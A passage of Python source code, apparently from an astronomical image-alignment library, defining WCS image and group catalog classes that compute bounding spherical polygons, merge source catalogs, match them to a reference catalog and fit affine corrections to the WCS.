self._imwcs.world_to_det(ra, dec)\n\n    def det_to_tanp(self, x, y):\n        \"\"\"\n        Convert detector (pixel) coordinates to tangent plane coordinates.\n\n        \"\"\"\n        if self._imwcs is None:\n            raise RuntimeError(\"WCS has not been set\")\n        return self._imwcs.det_to_tanp(x, y)\n\n    def tanp_to_det(self, x, y):\n        \"\"\"\n        Convert tangent plane coordinates to detector (pixel) coordinates.\n\n        \"\"\"\n        if self._imwcs is None:\n            raise RuntimeError(\"WCS has not been set\")\n        return self._imwcs.tanp_to_det(x, y)\n\n    def tanp_to_world(self, x, y):\n        \"\"\"\n        Convert tangent plane coordinates to world coordinates.\n\n        \"\"\"\n        if self._imwcs is None:\n            raise RuntimeError(\"WCS has not been set\")\n        return self._imwcs.tanp_to_world(x, y)\n\n    def world_to_tanp(self, ra, dec):\n        \"\"\"\n        Convert tangent plane coordinates to detector (pixel) coordinates.\n\n        \"\"\"\n        if self._imwcs is None:\n            raise RuntimeError(\"WCS has not been set\")\n        return self._imwcs.world_to_tanp(ra, dec)\n\n    @property\n    def polygon(self):\n        \"\"\" Get image's (or catalog's) bounding spherical polygon.\n        \"\"\"\n        return self._polygon\n\n    def intersection(self, wcsim):\n        \"\"\"\n        Compute intersection of this `WCSImageCatalog` object and another\n        `WCSImageCatalog`, `WCSGroupCatalog`, or\n        :py:class:`~spherical_geometry.polygon.SphericalPolygon`\n        object.\n\n        Parameters\n        ----------\n        wcsim : WCSImageCatalog, WCSGroupCatalog, SphericalPolygon\n            Another object that should be intersected with this\n            `WCSImageCatalog`.\n\n        Returns\n        -------\n        polygon : SphericalPolygon\n            A :py:class:`~spherical_geometry.polygon.SphericalPolygon` that is\n            the intersection of this `WCSImageCatalog` and `wcsim`.\n\n        \"\"\"\n        if isinstance(wcsim, (WCSImageCatalog, WCSGroupCatalog)):\n            return self._polygon.intersection(wcsim.polygon)\n        else:\n            return self._polygon.intersection(wcsim)\n\n    # TODO: due to a bug in the sphere package, see\n    #       https://github.com/spacetelescope/sphere/issues/74\n    #       intersections with polygons formed as union does not work.\n    #       For this reason I re-implement 'intersection_area' below with\n    #       a workaround for the bug.\n    #       The original implementation should be uncommented once the bug\n    #       is fixed.\n    #\n    #def intersection_area(self, wcsim):\n        #\"\"\" Calculate the area of the intersection polygon.\n        #\"\"\"\n        #return np.fabs(self.intersection(wcsim).area())\n    def intersection_area(self, wcsim):\n        \"\"\" Calculate the area of the intersection polygon.\n        \"\"\"\n        if isinstance(wcsim, (WCSImageCatalog, RefCatalog)):\n            return np.fabs(self.intersection(wcsim).area())\n\n        else:\n            # this is bug workaround for image groups (multi-unions):\n            area = 0.0\n            for wim in wcsim:\n                area += np.fabs(\n                    self.polygon.intersection(wim.polygon).area()\n                )\n            return area\n\n    def _calc_chip_bounding_polygon(self, stepsize=None):\n        \"\"\"\n        Compute image's bounding polygon.\n\n        Parameters\n        ----------\n        stepsize : int, None, optional\n            Indicates the maximum separation between two adjacent vertices\n            of the bounding polygon along each side of the image. Corners\n            of the image are included automatically. If `stepsize` is `None`,\n            bounding polygon will contain only vertices of the image.\n\n        \"\"\"\n        if self.imwcs is None or (self.shape is None and self.catalog is None):\n            return\n\n        if self.imwcs.bounding_box is None:\n            if self.shape is not None:\n                ny, nx = self.shape\n            else:\n                # just take max image coordinates from catalogs as bounds:\n                nx = max(1, int(np.ceil(np.amax(self._catalog['x']))))\n                ny = max(1, int(np.ceil(np.amax(self._catalog['y']))))\n\n            lx = -0.5\n            ly = -0.5\n            hx = nx - 0.5\n            hy = ny - 0.5\n\n        else:\n            ((lx, hx), (ly, hy)) = self.imwcs.bounding_box\n\n        if stepsize is None:\n            nintx = 2\n            ninty = 2\n        else:\n            nintx = max(2, int(np.ceil((hx - lx) / stepsize)))\n            ninty = max(2, int(np.ceil((hy - ly) / stepsize)))\n\n        xs = np.linspace(lx, hx, nintx, dtype=np.float)\n        ys = np.linspace(ly, hy, ninty, dtype=np.float)[1:-1]\n        nptx = xs.size\n        npty = ys.size\n\n        npts = 2 * (nptx + npty)\n\n        borderx = np.empty((npts + 1,), dtype=np.float)\n        bordery = np.empty((npts + 1,), dtype=np.float)\n\n        # \"bottom\" points:\n        borderx[:nptx] = xs\n        bordery[:nptx] = ly\n        # \"right\"\n        sl = np.s_[nptx:nptx + npty]\n        borderx[sl] = hx\n        bordery[sl] = ys\n        # \"top\"\n        sl = np.s_[nptx + npty:2 * nptx + npty]\n        borderx[sl] = xs[::-1]\n        bordery[sl] = hy\n        # \"left\"\n        sl = np.s_[2 * nptx + npty:-1]\n        borderx[sl] = lx\n        bordery[sl] = ys[::-1]\n\n        # close polygon:\n        borderx[-1] = borderx[0]\n        bordery[-1] = bordery[0]\n\n        ra, dec = self.det_to_world(borderx, bordery)\n        # TODO: for strange reasons, occasionally ra[0] != ra[-1] and/or\n        #       dec[0] != dec[-1] (even though we close the polygon in the\n        #       previous two lines). Then SphericalPolygon fails because\n        #       points are not closed. Therefore we force it to be closed:\n        ra[-1] = ra[0]\n        dec[-1] = dec[0]\n\n        self.img_bounding_ra = ra\n        self.img_bounding_dec = dec\n        self._polygon = SphericalPolygon.from_radec(ra, dec)\n\n    def _calc_cat_convex_hull(self):\n        \"\"\"\n        Compute convex hull that bounds the sources in the catalog.\n\n        \"\"\"\n        if self.imwcs is None or self.catalog is None:\n            return\n\n        x = self.catalog['x']\n        y = self.catalog['y']\n\n        if len(x) == 0:\n            # no points\n            raise RuntimeError(\"Unexpected error: Contact software developer\")\n\n        elif len(x) > 2:\n            ra, dec = convex_hull(x, y, wcs=self.det_to_world)\n        # else, for len(x) in [1, 2], use entire image footprint.\n        # TODO: a more robust algorithm should be implemented to deal with\n        #       len(x) in [1, 2] cases.\n\n        # TODO: for strange reasons, occasionally ra[0] != ra[-1] and/or\n        #       dec[0] != dec[-1] (even though we close the polygon in the\n        #       previous two lines). Then SphericalPolygon fails because\n        #       points are not closed. Threfore we force it to be closed:\n        ra[-1] = ra[0]\n        dec[-1] = dec[0]\n\n        self._bb_radec = (ra, dec)\n        self._polygon = SphericalPolygon.from_radec(ra, dec)\n        self._poly_area = np.fabs(self._polygon.area())\n\n    def calc_bounding_polygon(self):\n        \"\"\"\n        Calculate bounding polygon of the image or of the sources in the\n        catalog (if catalog was set).\n\n        \"\"\"\n        # we need image's footprint for later:\n        self._calc_chip_bounding_polygon()\n\n        # create smallest convex spherical polygon bounding all sources:\n        if self._catalog is not None and len(self.catalog) > 0:\n            self._calc_cat_convex_hull()\n\n    @property\n    def bb_radec(self):\n        \"\"\"\n        Get a 2xN `numpy.ndarray` of RA and DEC of the vertices of the\n        bounding polygon.\n\n        \"\"\"\n        return self._bb_radec\n\n\nclass WCSGroupCatalog(object):\n    \"\"\"\n    A class that holds together `WCSImageCatalog` image catalog objects\n    whose relative positions are fixed and whose source catalogs should be\n    fitted together to a reference catalog.\n\n    \"\"\"\n    def __init__(self, images, name=None):\n        \"\"\"\n        Parameters\n        ----------\n        images : list of WCSImageCatalog\n            A list of `WCSImageCatalog` image catalogs.\n\n        name : str, None, optional\n            Name of the group.\n\n        \"\"\"\n        self._catalog = None\n\n        if isinstance(images, WCSImageCatalog):\n            self._images = [images]\n\n        elif hasattr(images, '__iter__'):\n            if not images:\n                raise ValueError(\"List of images cannot be empty.\")\n\n            self._images = []\n            for im in images:\n                if not isinstance(im, WCSImageCatalog):\n                    raise TypeError(\"Each element of the 'images' parameter \"\n                                    \"must be an 'WCSImageCatalog' object.\")\n                self._images.append(im)\n\n        else:\n            raise TypeError(\"Parameter 'images' must be either a single \"\n                            \"'WCSImageCatalog' object or a list of \"\n                            \"'WCSImageCatalog' objects\")\n\n        self._name = name\n        self.update_bounding_polygon()\n        self._catalog = self.create_group_catalog()\n\n    @property\n    def name(self):\n        \"\"\" Get/set :py:class:`WCSImageCatalog` object's name.\n        \"\"\"\n        return self._name\n\n    @name.setter\n    def name(self, name):\n        self._name = name\n\n    @property\n    def polygon(self):\n        \"\"\" Get image's (or catalog's) bounding spherical polygon.\n        \"\"\"\n        return self._polygon\n\n    def intersection(self, wcsim):\n        \"\"\"\n        Compute intersection of this `WCSGroupCatalog` object and another\n        `WCSImageCatalog`, `WCSGroupCatalog`, or\n        :py:class:`~spherical_geometry.polygon.SphericalPolygon`\n        object.\n\n        Parameters\n        ----------\n        wcsim : WCSImageCatalog, WCSGroupCatalog, SphericalPolygon\n            Another object that should be intersected with this\n            `WCSGroupCatalog`.\n\n        Returns\n        -------\n        polygon : SphericalPolygon\n            A :py:class:`~spherical_geometry.polygon.SphericalPolygon` that is\n            the intersection of this `WCSGroupCatalog` and `wcsim`.\n\n        \"\"\"\n        if isinstance(wcsim, (WCSGroupCatalog, WCSImageCatalog)):\n            return self._polygon.intersection(wcsim.polygon)\n        else:\n            return self._polygon.intersection(wcsim)\n\n    # TODO: due to a bug in the sphere package, see\n    #       https://github.com/spacetelescope/sphere/issues/74\n    #       intersections with polygons formed as union does not work.\n    #       For this reason I re-implement 'intersection_area' below with\n    #       a workaround for the bug.\n    #       The original implementation should be uncommented once the bug\n    #       is fixed.\n    #\n    #def intersection_area(self, wcsim):\n        #\"\"\" Calculate the area of the intersection polygon.\n        #\"\"\"\n        #return np.fabs(self.intersection(wcsim).area())\n    def intersection_area(self, wcsim):\n        \"\"\" Calculate the area of the intersection polygon.\n        \"\"\"\n        area = 0.0\n        for im in self._images:\n            area += im.intersection_area(wcsim)\n        return area\n\n    def update_bounding_polygon(self):\n        \"\"\" Recompute bounding polygons of the member images.\n        \"\"\"\n        polygons = [im.polygon for im in self._images]\n        if len(polygons) == 0:\n            self._polygon = SphericalPolygon([])\n        else:\n            self._polygon = SphericalPolygon.multi_union(polygons)\n\n    def __len__(self):\n        return len(self._images)\n\n    def __getitem__(self, idx):\n        return self._images[idx]\n\n    def __iter__(self):\n        for image in self._images:\n            yield image\n\n    @property\n    def catalog(self):\n        \"\"\" Get/set image's catalog.\n        \"\"\"\n        return self._catalog\n\n    def create_group_catalog(self):\n        \"\"\"\n        Combine member's image catalogs into a single group's catalog.\n\n        Returns\n        -------\n        group_catalog : astropy.table.Table\n            Combined group catalog.\n\n        \"\"\"\n        catalogs = []\n        catno = 0\n        has_weights = None\n        for image in self._images:\n            catlen = len(image.catalog)\n            if catlen == 0:\n                continue\n\n            if has_weights is None:\n                has_weights = 'weight' in image.catalog.colnames\n            elif has_weights != ('weight' in image.catalog.colnames):\n                raise KeyError(\"Non-empty catalogs in a group must all \"\n                               \"either have or not have 'weight' column.\")\n\n            if image.name is None:\n                catname = 'Catalog #{:d}'.format(catno)\n            else:\n                catname = image.name\n\n            col_catname = table.MaskedColumn(catlen * [catname],\n                                             name='cat_name')\n            col_imcatidx = table.MaskedColumn(catlen * [catno],\n                                              name='_imcat_idx')\n            col_id = table.MaskedColumn(image.catalog['id'])\n            col_x = table.MaskedColumn(image.catalog['x'], dtype=np.float64)\n            col_y = table.MaskedColumn(image.catalog['y'], dtype=np.float64)\n            ra, dec = image.det_to_world(\n                image.catalog['x'], image.catalog['y']\n            )\n            col_ra = table.MaskedColumn(ra, dtype=np.float64, name='RA')\n            col_dec = table.MaskedColumn(dec, dtype=np.float64, name='DEC')\n\n            if has_weights:\n                col_wght = table.MaskedColumn(image.catalog['weight'],\n                                              dtype=np.float64)\n\n                cat = table.Table(\n                    [col_imcatidx, col_catname, col_id, col_x,\n                     col_y, col_ra, col_dec, col_wght],\n                    masked=True\n                )\n\n            else:\n                cat = table.Table(\n                    [col_imcatidx, col_catname, col_id, col_x,\n                     col_y, col_ra, col_dec],\n                    masked=True\n                )\n\n            catalogs.append(cat)\n            catno += 1\n\n        if not catno:\n            # no catalogs with sources. Create an empty table with required\n            # columns and types:\n            image = self._images[0]\n            if image.name is None:\n                catname = 'Catalog #{:d}'.format(catno)\n            else:\n                catname = image.name\n\n            col_catname = table.MaskedColumn([catname], name='cat_name')\n            del col_catname[0]\n            col_imcatidx = table.MaskedColumn([], dtype=np.int,\n                                              name='_imcat_idx')\n            col_id = table.MaskedColumn(image.catalog['id'])\n            col_x = table.MaskedColumn([], name='x', dtype=np.float64)\n            col_y = table.MaskedColumn([], name='y', dtype=np.float64)\n            col_ra = table.MaskedColumn([], name='RA', dtype=np.float64)\n            col_dec = table.MaskedColumn([], name='DEC', dtype=np.float64)\n\n            cat = table.Table(\n                [col_imcatidx, col_catname, col_id, col_x,\n                 col_y, col_ra, col_dec],\n                masked=True\n            )\n\n            return cat\n\n        return table.vstack(catalogs, join_type='exact')\n\n    def get_unmatched_cat(self):\n        \"\"\"\n        Retrieve only those sources from the catalog that have **not** been\n        matched to the sources in the reference catalog.\n\n        \"\"\"\n        mask = self._catalog['matched_ref_id'].mask\n        return self._catalog[mask]\n\n    def get_matched_cat(self):\n        \"\"\"\n        Retrieve only those sources from the catalog that **have been**\n        matched to the sources in the reference catalog.\n\n        \"\"\"\n        mask = np.logical_not(self._catalog['matched_ref_id'].mask)\n        return self._catalog[mask]\n\n    def recalc_catalog_radec(self):\n        \"\"\" Recalculate RA and DEC of the sources in the catalog.\n        \"\"\"\n        for k, image in enumerate(self._images):\n\n            idx = (self._catalog['_imcat_idx'] == k)\n            if not np.any(idx):\n                continue\n\n            ra, dec = image.det_to_world(\n                self._catalog['x'][idx], self._catalog['y'][idx]\n            )\n            self._catalog['RA'][idx] = ra\n            self._catalog['DEC'][idx] = dec\n\n    def calc_tanp_xy(self, tanplane_wcs):\n        \"\"\"\n        Compute x- and y-positions of the sources from the image catalog\n        in the tangent plane. This creates the following\n        columns in the catalog's table: ``'TPx'`` and ``'TPy'``.\n\n        Parameters\n        ----------\n        tanplane_wcs : ImageGWCS\n            A `ImageGWCS` object that will provide transformations to\n            the tangent plane to which sources of this catalog a should be\n            \"projected\".\n\n        \"\"\"\n        if 'RA' not in self._catalog.colnames or \\\n           'DEC' not in self._catalog.colnames:\n            raise RuntimeError(\"'recalc_catalog_radec()' should have been run \"\n                               \"prior to calc_tanp_xy()\")\n\n        # compute x & y in the reference WCS:\n        xtp, ytp = tanplane_wcs.world_to_tanp(self.catalog['RA'],\n                                              self.catalog['DEC'])\n        self._catalog['TPx'] = table.MaskedColumn(\n            xtp, name='TPx', dtype=np.float64, mask=False\n        )\n        self._catalog['TPy'] = table.MaskedColumn(\n            ytp, name='TPy', dtype=np.float64, mask=False\n        )\n\n    def match2ref(self, refcat, match=None):\n        \"\"\" Uses ``xyxymatch`` to cross-match sources between this catalog and\n            a reference catalog.\n\n        Parameters\n        ----------\n        refcat : RefCatalog\n            A `RefCatalog` object that contains a catalog of reference sources\n            as well as a valid reference WCS.\n\n        match : MatchCatalogs, function, None, optional\n            A callable that takes two arguments: a reference catalog and an\n            image catalog. Both catalogs will have columns ``'TPx'`` and\n            ``'TPy'`` that represent the source coordinates in some common\n            (to both catalogs) coordinate system.\n\n        \"\"\"\n        colnames = self._catalog.colnames\n        catlen = len(self._catalog)\n\n        if match is None:\n            if catlen != len(self._catalog):\n                raise ValueError(\"When matching is not requested, catalogs \"\n                                 \"should have been matched previously and \"\n                                 \"have equal lengths.\")\n            log.info(\"No matching of sources from '{:}' catalog with sources \"\n                     \"from the reference '{:}' catalog was requested.\"\n                     .format(self.name, refcat.name))\n            log.info(\"Catalogs are assumed matched with 1-to-1 \"\n                     \"correspondence.\")\n            mref_idx = np.arange(catlen)\n            minput_idx = np.arange(catlen)\n            nmatches = catlen\n\n        else:\n            if 'TPx' not in colnames or 'TPy' not in colnames:\n                raise RuntimeError(\"'calc_tanp_xy()' should have been run \"\n                                   \"prior to match2ref()\")\n\n            mref_idx, minput_idx = match(refcat.catalog, self._catalog)\n            nmatches = len(mref_idx)\n\n        # matched_ref_id:\n        if 'matched_ref_id' not in colnames:\n            c = table.MaskedColumn(name='matched_ref_id', dtype=int,\n                                   length=catlen, mask=True)\n            self._catalog.add_column(c)\n        else:\n            self._catalog['matched_ref_id'].mask[:] = True\n\n        self._catalog['matched_ref_id'].mask[minput_idx] = False\n        self._catalog['matched_ref_id'][minput_idx] = refcat.catalog['id'][mref_idx]\n\n        # this is needed to index reference catalog directly without using\n        # astropy table indexing which, at this moment, is experimental:\n        if '_raw_matched_ref_idx' not in colnames:\n            c = table.MaskedColumn(name='_raw_matched_ref_idx',\n                                   dtype=int, length=catlen, mask=True)\n            self._catalog.add_column(c)\n        else:\n            self._catalog['_raw_matched_ref_idx'].mask = True\n        self._catalog['_raw_matched_ref_idx'][minput_idx] = mref_idx\n        self._catalog['_raw_matched_ref_idx'].mask[minput_idx] = False\n\n        log.info(\"Found {:d} matches for '{}'...\".format(nmatches, self.name))\n\n        # TODO: revisit this once the bug described in\n        # https://github.com/spacetelescope/stsci.stimage/issues/8\n        # is fixed.\n        #\n        # Due to this bug minput_idx may contain duplicate values.\n        # Because of this, the above logic for masking, saving ids, and indices\n        # does not work reliably. As a workaround, we save matched array\n        # indices within the image catalog so that we can use them in\n        # `fit2ref()`. For this to work, reference and image catalog must not\n        # change between this function return and `fit2ref()` call.\n        #\n        self._mref_idx = mref_idx\n        self._minput_idx = minput_idx\n\n        return nmatches, mref_idx, minput_idx\n\n    def fit2ref(self, refcat, tanplane_wcs, fitgeom='general', nclip=3,\n                sigma=3.0):\n        \"\"\"\n        Perform linear fit of this group's combined catalog to the reference\n        catalog. When either/both group's catalog or/and the reference catalog\n        contain ``'weight'`` column, weigted fitting will be performed.\n        See ``Notes`` section for further details.\n\n        Parameters\n        ----------\n        refcat : RefCatalog\n            A `RefCatalog` object that contains a catalog of reference sources.\n\n        tanplane_wcs : ImageGWCS\n            A `ImageGWCS` object that will provide transformations to\n            the tangent plane to which sources of this catalog a should be\n            \"projected\".\n\n        fitgeom : {'shift', 'rscale', 'general'}, optional\n            The fitting geometry to be used in fitting the matched object\n            lists. This parameter is used in fitting the offsets, rotations\n            and/or scale changes from the matched object lists. The 'general'\n            fit geometry allows for independent scale and rotation for\n            each axis.\n\n        nclip : int, optional\n            Number (a non-negative integer) of clipping iterations in fit.\n\n        sigma : float, optional\n            Clipping limit in sigma units.\n\n        Notes\n        -----\n        When fitting image sources to reference catalog sources, we can\n        specify which sources have higher weights. This can be done by\n        assigning a \"weight\" to each source by specifying these values\n        in the optional ``'weight'`` column of either the reference catalog,\n        image catalog, or both.\n\n        When weights are not provided, all sources are weighed equally. When\n        only one of image or reference catalog weights are provided,\n        the sources will be weighted with the specified weights.\n        When *both* image *and* reference catalogs specify weights for\n        the same sources, the two weights will be combined into a single\n        weight as:\n\n        .. math::\n            1/w = 1/w_i + 1/w_r\n\n        .. warning::\n            Keep in mind that when a group catalog is created from individual\n            catalogs, weights of the group catalog are created by\n            *concatenating* weights of individual catalogs. Therefore,\n            for the weighting of groups of catalogs to work correctly,\n            the weights of individual catalogs should be scaled in such a way\n            that when individual catalogs are combined into a single\n            \"group catalog\", weights preserve their relative values.\n\n            For example, let's say a group is formed from two individual\n            catalogs. Let's say first catalog contains four sources with equal\n            weights ``[1,1,1,1]`` and the second catalog contains two sources\n            with weights ``[1,1]`` then the group's catalogs sources will\n            also have equal weights ``[1,1,1,1,1,1]``. However, if each\n            individual catalog's weights were normalized such that sum of\n            all weights is 1, then group's sources will be weighed unequally:\n            ``[0.25,0.25,0.25,0.25,0.5,0.5]``.\n\n        \"\"\"\n        im_xyref = np.asarray([self._catalog['TPx'],\n                               self._catalog['TPy']]).T\n        refxy = np.asarray([refcat.catalog['TPx'],\n                            refcat.catalog['TPy']]).T\n\n        # mask = np.logical_not(self._catalog['matched_ref_id'].mask)\n        # im_xyref = im_xyref[mask]\n        # ref_idx = self._catalog['_raw_matched_ref_idx'][mask]\n\n        # TODO: revisit this once the bug described in\n        # https://github.com/spacetelescope/stsci.stimage/issues/8\n        # is fixed.\n        #\n        # Due to this bug minput_idx may contain duplicate values.\n        # For now we bypass the above commented code by accessing indices\n        # stored in the image's catalog.\n        minput_idx = self._minput_idx\n        im_xyref = im_xyref[minput_idx]\n        ref_idx = self._mref_idx\n\n        refxy = refxy[ref_idx]\n\n        # process weights:\n        if 'weight' in self._catalog.colnames:\n            im_weight = np.asarray(self._catalog['weight'])[minput_idx]\n        else:\n            im_weight = None\n\n        if 'weight' in refcat.catalog.colnames:\n            ref_weight = np.asarray(refcat.catalog['weight'])[ref_idx]\n        else:\n            ref_weight = None\n\n        fit = iter_linear_fit(\n            refxy, im_xyref, ref_weight, im_weight,\n            xyindx=ref_idx, uvindx=minput_idx,\n            fitgeom=fitgeom, nclip=nclip, sigma=sigma, center=(0, 0)\n        )\n\n        xy_fit = fit['offset'] + np.dot(fit['uv_coords'], fit['fit_matrix'])\n\n        fit['fit_xy'] = xy_fit\n        fit['fit_RA'], fit['fit_DEC'] = tanplane_wcs.tanp_to_world(*(xy_fit.T))\n\n        log.info(\"Computed '{:s}' fit for {}:\".format(fitgeom, self.name))\n        if fitgeom == 'shift':\n            log.info(\"XSH: {:.6g}  YSH: {:.6g}\"\n                     .format(fit['offset'][0], fit['offset'][1]))\n        elif fitgeom == 'rscale' and fit['proper']:\n            log.info(\"XSH: {:.6g}  YSH: {:.6g}    ROT: {:.6g}    SCALE: {:.6g}\"\n                     .format(fit['offset'][0], fit['offset'][1],\n                             fit['rot'], fit['scale'][0]))\n        elif fitgeom == 'general' or (fitgeom == 'rscale' and not\n                                      fit['proper']):\n            log.info(\"XSH: {:.6g}  YSH: {:.6g}    PROPER ROT: {:.6g}    \"\n                     .format(fit['offset'][0], fit['offset'][1], fit['rot']))\n            log.info(\"<ROT>: {:.6g}  SKEW: {:.6g}    ROT_X: {:.6g}  \"\n                     \"ROT_Y: {:.6g}\".format(fit['rotxy'][2], fit['skew'],\n                                            fit['rotxy'][0], fit['rotxy'][1]))\n            log.info(\"<SCALE>: {:.6g}  SCALE_X: {:.6g}  SCALE_Y: {:.6g}\"\n                     .format(fit['scale'][0], fit['scale'][1],\n                             fit['scale'][2]))\n        else:\n            raise ValueError(\"Unsupported fit geometry.\")\n\n        log.info(\"\")\n        log.info(\"FIT RMSE: {:.6g}   FIT MAE: {:.6g}\"\n                 .format(fit['rmse'], fit['mae']))\n        log.info(\"Final solution based on {:d} objects.\"\n                 .format(fit['resids'].shape[0]))\n\n        return fit\n\n    def apply_affine_to_wcs(self, tanplane_wcs, matrix, shift, meta=None):\n        \"\"\" Applies a general affine transformation to the WCS.\n        \"\"\"\n        # compute the matrix for the scale and rotation correction\n        matrix = matrix.T\n        shift = -np.dot(inv(matrix), shift)\n\n        for imcat in self:\n            # compute linear transformation from the tangent plane used for\n            # alignment to the tangent plane of another image in the group:\n            if imcat.imwcs == tanplane_wcs:\n                m = matrix.copy()\n                s = np.array(shift, dtype=np.float64)\n            else:\n                r1, t1 = _tp2tp(imcat.imwcs, tanplane_wcs)\n                r2, t2 = _tp2tp(tanplane_wcs, imcat.imwcs)\n                m = np.linalg.multi_dot([r2, matrix, r1])\n                s = (t1 + np.dot(inv(r1), shift) +\n                     np.dot(inv(np.dot(matrix, r1)), t2)).astype(np.float64)\n\n            imcat.imwcs.set_correction(m, s, meta=meta)\n\n    def align_to_ref(self, refcat, match=None, minobj=None,\n                     fitgeom='rscale', nclip=3, sigma=3.0):\n        \"\"\"\n        Matches sources from the image catalog to the sources in the\n        reference catalog, finds the affine transformation between matched\n        sources, and adjusts images' WCS according to this fit.\n\n        Upon successful return, this function will also set the following\n        fields of the ``meta`` attribute of the tangent-plane ``WCS``\n        (a `TPWCS`-derived object) of each member `WCSImageCatalog` object:\n\n            * **'fitgeom'**: the value of the ``fitgeom`` argument\n            * **'matrix'**: computed rotation matrix\n            * **'shift'**: offset along X- and Y-axis\n            * **'eff_minobj'**: effective value of the ``minobj`` parameter\n            * **'nmatches'** [when ``match`` is not `None`]: number of matched\n              sources\n            * **'matched_ref_idx'** [when ``match`` is not `None`]: indices of\n              the matched sources in the reference catalog\n            * **'matched_input_idx'** [when ``match`` is not `None`]: indices\n              of the matched sources in the \"input\" catalog (the catalog from\n              image to be aligned)\n            * **'fit_ref_idx'**: indices of the sources from the reference\n              catalog used for fitting (a subset of 'matched_ref_idx' indices,\n              when ``match`` is not `None`, left after clipping iterations\n              performed during fitting)\n            * **'fit_input_idx'**: indices of the sources from the \"input\"\n              (image) catalog used for fitting (a subset of\n              'matched_input_idx' indices, when ``match`` is not `None`,\n              left after clipping iterations performed during fitting)\n            * **'rot'**: rotation angle as if rotation is a proper rotation\n            * **'proper'**: Indicates whether the rotation is a proper rotation\n              (boolean)\n            * **'rotxy'**: a tuple of (rotation of the X-axis, rotation of the\n              Y-axis, mean rotation, computed skew)\n            * **'scale'**: a tuple of (mean scale, scale along X-axis, scale\n              along Y-axis)\n            * **'skew'**: computed skew\n            * **'rmse'**: fit Root-Mean-Square Error in *tangent plane*\n              coordinates of corrected image source positions from reference\n              source positions.\n            * **'mae'**: fit Mean Absolute Error in *tangent plane*\n              coordinates of corrected image source positions from reference\n              source positions.\n            * **'fit_RA'**: first (corrected) world coordinate of input source\n              positions used in fitting.\n            * **'fit_DEC'**: second (corrected) world coordinate of input\n              source positions used in fitting.\n            * **'status'**: Alignment status. Currently two possible status are\n              possible ``'SUCCESS'`` or ``'FAILED: reason for failure'``.\n              When alignment failed, the reason for failure is provided after\n              alignment status.\n\n        .. note::\n            A ``'SUCCESS'`` status does not indicate a \"good\" alignment. It\n            simply indicates that alignment algortithm has completed without\n            errors. Use other fields to evaluate alignment: fit ``RMSE``\n            and ``MAE`` values, number of matched sources, etc.\n\n\n        Parameters\n        ----------\n\n        refcat : RefCatalog\n            A `RefCatalog` object that contains a catalog of reference sources\n            as well as a valid reference WCS.\n\n        match : MatchCatalogs, function, None, optional\n            A callable that takes two arguments: a reference catalog and an\n            image catalog.\n\n        minobj : int, None, optional\n            Minimum number of identified objects from each input image to use\n            in matching objects from other images. If the default `None` value\n            is used then `align` will automatically deternmine the minimum\n            number of sources from the value of the `fitgeom` parameter.\n            This parameter is used to interrupt alignment process (catalog\n            fitting, ``WCS`` \"tweaking\") when the number of matched sources\n            is smaller than the value of ``minobj`` in which case this\n            method will return `False`.\n\n        fitgeom : {'shift', 'rscale', 'general'}, optional\n            The fitting geometry to be used in fitting the matched object\n            lists. This parameter is used in fitting the offsets, rotations\n            and/or scale changes from the matched object lists. The 'general'\n            fit geometry allows for independent scale and rotation for each\n            axis. This parameter is ignored if ``match`` is `False`.\n\n        nclip : int, optional\n            Number (a non-negative integer) of clipping iterations in fit.\n            This parameter is ignored if ``match`` is `False`.\n\n        sigma : float, optional\n            Clipping limit in sigma units. This parameter is ignored if\n            ``match`` is `False`.\n\n\n        Returns\n        -------\n\n        bool\n            Returns `True` if the number of matched sources is larger or equal\n            to ``minobj`` and all steps have been performed, including catalog\n            fitting and ``WCS`` \"tweaking\". If the number of matched sources is\n            smaller than ``minobj``, this function will return `False`.\n\n        \"\"\"\n        if len(self._images) == 0:\n            name = 'Unnamed' if self.name is None else self.name\n            log.warning(\"WCSGroupCatalog '{:s}' is empty. Nothing to align.\"\n                        .format(name))\n            return False\n\n        # set initial status to 'FAILED':\n        for imcat in self:\n            imcat.imwcs.meta['status'] = \"FAILED: Unknown error\"\n\n        if minobj is None:\n            if fitgeom == 'general':\n                minobj = 3\n            elif fitgeom == 'rscale':\n                minobj = 2\n            else:\n                minobj = 1\n\n        tanplane_wcs = deepcopy(self._images[0].imwcs)\n\n        self.calc_tanp_xy(tanplane_wcs=tanplane_wcs)\n        refcat.calc_tanp_xy(tanplane_wcs=tanplane_wcs)\n\n        nmatches, mref_idx, minput_idx = self.match2ref(\n            refcat=refcat,\n            match=match\n        )\n\n        if nmatches < minobj:\n            name = 'Unnamed' if self.name is None else self.name\n            log.warning(\"Not enough matches (< {:d}) found for image \"\n                        \"catalog '{:s}'.\".format(nmatches, name))\n            for imcat in self:\n                imcat.imwcs.meta['status'] = 'FAILED: not enough matches'\n            return False\n\n        fit = self.fit2ref(refcat=refcat, tanplane_wcs=tanplane_wcs,\n                           fitgeom=fitgeom, nclip=nclip, sigma=sigma)\n\n        meta = {\n            'fitgeom' : fitgeom,\n            'matrix': fit['fit_matrix'],\n            'shift': fit['offset'],\n            'eff_minobj': minobj,\n            'fit_ref_idx': fit['xy_indx'],  # indices after fit clipping\n            'fit_input_idx': fit['uv_indx'],  # indices after fit clipping\n            'rot': fit['rot'],  # proper rotation\n            'proper': fit['proper'],  # is a proper rotation? True/False\n            'rotxy': fit['rotxy'],  # rotx, roty, <rot>, skew\n            'scale': fit['scale'],  # <s>, sx, sy\n            'skew': fit['skew'],  # skew\n            'rmse': fit['rmse'],  # fit RMSE in tangent plane coords\n            'mae': fit['mae'],  # fit MAE in tangent plane coords\n            'fit_RA': fit['fit_RA'],\n            'fit_DEC': fit['fit_DEC'],\n            'status': 'SUCCESS',\n        }\n\n        if match is not None:\n            meta.update({\n                'nmatches': nmatches,\n                'matched_ref_idx': mref_idx,\n                'matched_input_idx': minput_idx\n            })\n\n        self.apply_affine_to_wcs(\n            tanplane_wcs=tanplane_wcs,\n            matrix=fit['fit_matrix'],\n            shift=fit['offset'],\n            meta=meta\n        )\n\n        self.recalc_catalog_radec()\n\n        return True\n\n\ndef _tp2tp(imwcs1, imwcs2):\n    x = np.array([0.0, 1.0, 0.0], dtype=np.float)\n    y = np.array([0.0, 0.0, 1.0], dtype=np.float)\n    xrp, yrp = imwcs2.world_to_tanp(*imwcs1.tanp_to_world(x, y))\n\n    matrix = np.array([(xrp[1:] - xrp[0]), (yrp[1:] - yrp[0])])\n    shift = -np.dot(inv(matrix), [xrp[0], yrp[0]]).astype(np.float64)\n\n    return matrix, shift\n\n\nclass RefCatalog(object):\n    \"\"\"\n    An object that holds a reference catalog and provides\n    tools for coordinate convertions using reference WCS as well as\n    catalog manipulation and expansion.\n\n    